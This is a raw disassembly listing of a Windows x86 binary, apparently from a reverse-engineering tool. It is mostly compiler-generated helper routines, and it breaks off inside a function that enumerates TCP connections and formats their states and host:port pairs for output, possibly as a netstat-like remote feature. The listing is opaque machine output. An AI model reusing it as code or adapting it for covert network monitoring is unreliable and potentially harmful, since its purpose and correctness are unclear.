dd 0E80008F4h, 0FFFE9579h, 0FB058E8Dh, 0F1E80009h, 8DFFFE94h
dd 9FAD38Eh, 9860E800h, 8E8DFFFEh, 9FB93h, 0FE92ABE8h
dd 0CD8E8DFFh, 0E80009FBh, 0FFFE998Fh, 0FBFF8E8Dh, 1AE80009h
dd 8BFFFE95h, 8B86E8CEh, 8E8DFFFEh, 8F270h, 5BE8F88Bh
dd 8BFFFE90h, 9054E8CBh, 2DE8FFFEh, 90FFFE94h, 69BD23E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 0D7E80000h, 8BFFFE95h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418800: ; CODE XREF: ___:00402225j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418820: ; CODE XREF: ___:00401EE2j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_449118
call sub_401776
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418850 proc near ; CODE XREF: sub_401B1Dj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021DF
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_40162C
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401438
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_402103
sub_418850 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4188C0 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_4188C0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418900 proc near ; CODE XREF: sub_4021FDj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40207C
sub_418900 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418970 proc near ; CODE XREF: sub_401F69j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D98
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_418970 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189B0 proc near ; CODE XREF: sub_401311j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D98
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_4189B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189E0 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F69
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40155A
pop esi
add esp, 0Ch
retn
sub_4189E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A30 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
call sub_401532
mov eax, esi
pop esi
retn
sub_418A30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A50 proc near ; CODE XREF: sub_402234j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418A50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A70 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015DC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418A70 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AA0 proc near ; CODE XREF: sub_401703j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40223E
neg al
sbb eax, eax
inc eax
retn 4
sub_418AA0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AD0 proc near ; CODE XREF: sub_401A32j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43F05C
test eax, eax
jle short loc_418AE7
push eax
nop
call near ptr 71AB9639h
loc_418AE7: ; CODE XREF: sub_418AD0+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_418AD0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B00 proc near ; CODE XREF: ___:00401267j sub_4019CEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A32
test [esp+4+arg_0], 1
jz short loc_418B18
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_418B18: ; CODE XREF: sub_418B00+Dj
mov eax, esi
pop esi
retn 4
sub_418B00 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B30 proc near ; CODE XREF: sub_4017ADj
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43F068
test eax, eax
jle short loc_418B47
push eax
nop
call near ptr 71AB9639h
loc_418B47: ; CODE XREF: sub_418B30+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_418B30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418B60: ; CODE XREF: ___:00401631j
; ___:loc_401CADj
push esi
mov esi, ecx
call sub_4017AD
test byte ptr [esp+8], 1
jz short loc_418B78
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_418B78: ; CODE XREF: ___:00418B6Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B90 proc near ; CODE XREF: sub_401771j
mov dword ptr [ecx], offset off_43F0A0
jmp sub_40204F
sub_418B90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418BB0: ; CODE XREF: ___:loc_401929j
; ___:004021ADj
push esi
mov esi, ecx
call sub_401771
test byte ptr [esp+8], 1
jz short loc_418BC8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_418BC8: ; CODE XREF: ___:00418BBDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BE0 proc near ; CODE XREF: sub_401889j
mov dword ptr [ecx], offset off_43F0AC
add ecx, 4
jmp sub_401023
sub_418BE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C00 proc near ; CODE XREF: sub_401438j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jz short loc_418C5A
loc_418C18: ; CODE XREF: sub_418C00+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40184D
test al, al
jnz short loc_418C18
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C5A: ; CODE XREF: sub_418C00+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418C00 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418C90 proc near ; CODE XREF: sub_402103j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D6B
sub_418C90 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CB0 proc near ; CODE XREF: sub_40155Aj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jz short loc_418D0A
loc_418CC8: ; CODE XREF: sub_418CB0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40216C
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401703
test al, al
jnz short loc_418CC8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418D0A: ; CODE XREF: sub_418CB0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418CB0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D40 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C67
sub_418D40 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418D55
mov edi, esi
loc_418D55: ; CODE XREF: ___:00418D51j
push esi
call sub_4015DC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418D6A
mov edi, esi
loc_418D6A: ; CODE XREF: ___:00418D66j
push esi
call sub_401B31
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D90 proc near ; CODE XREF: sub_40207Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013FC
sub_418D90 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DB0 proc near ; CODE XREF: sub_4015DCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418DB0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DD0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418DD0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418DF0 proc near ; CODE XREF: sub_401532j
mov eax, ecx
retn
sub_418DF0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E10 proc near ; CODE XREF: sub_401D98j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020FE
mov eax, esi
pop esi
retn 4
sub_418E10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E40 proc near ; CODE XREF: sub_40223Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418E40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E70 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C9E
mov esi, eax
push esi
call sub_401A96
push esi
mov ebx, eax
call sub_401C6C
mov ecx, [eax]
push ecx
call sub_401A96
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C6C
push esi
mov ebx, eax
call sub_401A96
mov eax, [eax]
push eax
call sub_401C6C
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_40176C
push esi
mov ecx, edi
call sub_402103
sub_418E70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F30 proc near ; CODE XREF: sub_401D6Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_418F30 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F28
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418F50 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F80 proc near ; CODE XREF: sub_40216Cj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401EEC
mov esi, eax
push esi
call sub_4015DC
push esi
mov ebx, eax
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B31
push esi
mov ebx, eax
call sub_4015DC
mov eax, [eax]
push eax
call sub_401B31
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018D4
push esi
mov ecx, edi
call sub_40207C
sub_418F80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419040 proc near ; CODE XREF: sub_401B31j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_419040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419060 proc near ; CODE XREF: sub_401C67j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_419060 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419090 proc near ; CODE XREF: sub_4013FCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_419090 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190B0 proc near ; CODE XREF: sub_4020FEj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4190B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190D0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4190D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419100 proc near ; CODE XREF: sub_40176Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419100 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419120 proc near ; CODE XREF: sub_4018D4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419120 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419140 proc near ; CODE XREF: sub_401EECj
mov eax, [ecx]
retn
sub_419140 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4191A0 proc near ; CODE XREF: sub_402121j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4191A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43F0AC
call sub_437AEA
sub_4191A0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41920D
mov ecx, eax
call sub_401F2D
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41920D: ; CODE XREF: ___:004191EFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419260 proc near ; CODE XREF: sub_401974j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419260
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_419260 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419300 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_419300
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017EE
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_4196B8
push ebp
push edi
mov edi, 1
push offset asc_444600 ; " "
lea eax, [esp+2B8h+var_23C]
push edi
push eax
mov ecx, esi
call sub_4016B8
xor ebp, ebp
mov ecx, eax
mov [esp+2B4h+var_4], ebp
call sub_40168B
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, esi
call sub_4017EE
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401870
push offset dword_444D68
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], edi
mov [esp+2B8h+var_2A0], ebp
call sub_4013ED
test eax, eax
jz short loc_4193C5
mov [esp+2B4h+var_2A0], 2
jmp short loc_4193DB
; ---------------------------------------------------------------------------
loc_4193C5: ; CODE XREF: sub_419300+B9j
push offset dword_444D64
lea ecx, [esp+2B8h+var_274]
call sub_4013ED
test eax, eax
jz short loc_4193DB
mov [esp+2B4h+var_2A0], edi
loc_4193DB: ; CODE XREF: sub_419300+C3j
; sub_419300+D5j
mov ecx, [ebx+32h]
mov edi, offset dword_444D58
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_41946A
mov esi, dword_511AA8
add eax, 2
push offset dword_444D58
push eax
call esi ; _stricmp
add esp, 8
test eax, eax
jz short loc_41946A
mov ecx, [ebx+32h]
push offset off_444D54
mov edx, [ecx]
add edx, 2
push edx
call esi ; _stricmp
add esp, 8
test eax, eax
jnz loc_41969E
loc_41946A: ; CODE XREF: sub_419300+135j
; sub_419300+14Dj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
call near ptr 77C2C407h
nop
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_437F50
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419694
lea ebp, [esi+14h]
loc_4194A6: ; CODE XREF: sub_419300+38Ej
cmp dword ptr [ebp-10h], 2
jnz short loc_4194BA
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41967E
loc_4194BA: ; CODE XREF: sub_419300+1AAj
mov ax, [ebp-8]
mov esi, dword_511C5C
push eax
call esi ; ntohs
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; ntohs
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_40147E
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_40147E
mov eax, [ebp-10h]
sub eax, 2
jz short loc_41951E
sub eax, 3
jnz short loc_419544
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_419527
; ---------------------------------------------------------------------------
loc_41951E: ; CODE XREF: sub_419300+20Cj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_419527: ; CODE XREF: sub_419300+21Cj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_419544: ; CODE XREF: sub_419300+211j
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_41956A
xor ebx, ebx
loc_41956A: ; CODE XREF: sub_419300+266j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
nop
call near ptr 77C3FA76h
mov edi, ebx
lea eax, [esp+2C8h+var_118]
and edi, 0FFFFh
lea ecx, [esp+2C8h+var_224]
push edi
push eax
push offset aSD_1 ; "%s:%d"
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 28h
lea ecx, [esp+2B4h+var_28C]
call sub_40142E
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 2
test bx, bx
jnz short loc_419600
cmp eax, 1
jz loc_419665
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4195F3
cmp eax, esi
jnz short loc_419665
loc_4195F3: ; CODE XREF: sub_419300+2EDj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_419626
; ---------------------------------------------------------------------------
loc_419600: ; CODE XREF: sub_419300+2D9j
cmp eax, 2
jz short loc_419665
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_419614
cmp eax, edi
jnz short loc_419665
loc_419614: ; CODE XREF: sub_419300+30Ej
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_419626: ; CODE XREF: sub_419300+2FEj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
loc_419665: ; CODE XREF: sub_419300+2DEj
; sub_419300+2F1j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 1
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41967E: ; CODE XREF: sub_419300+1B4j
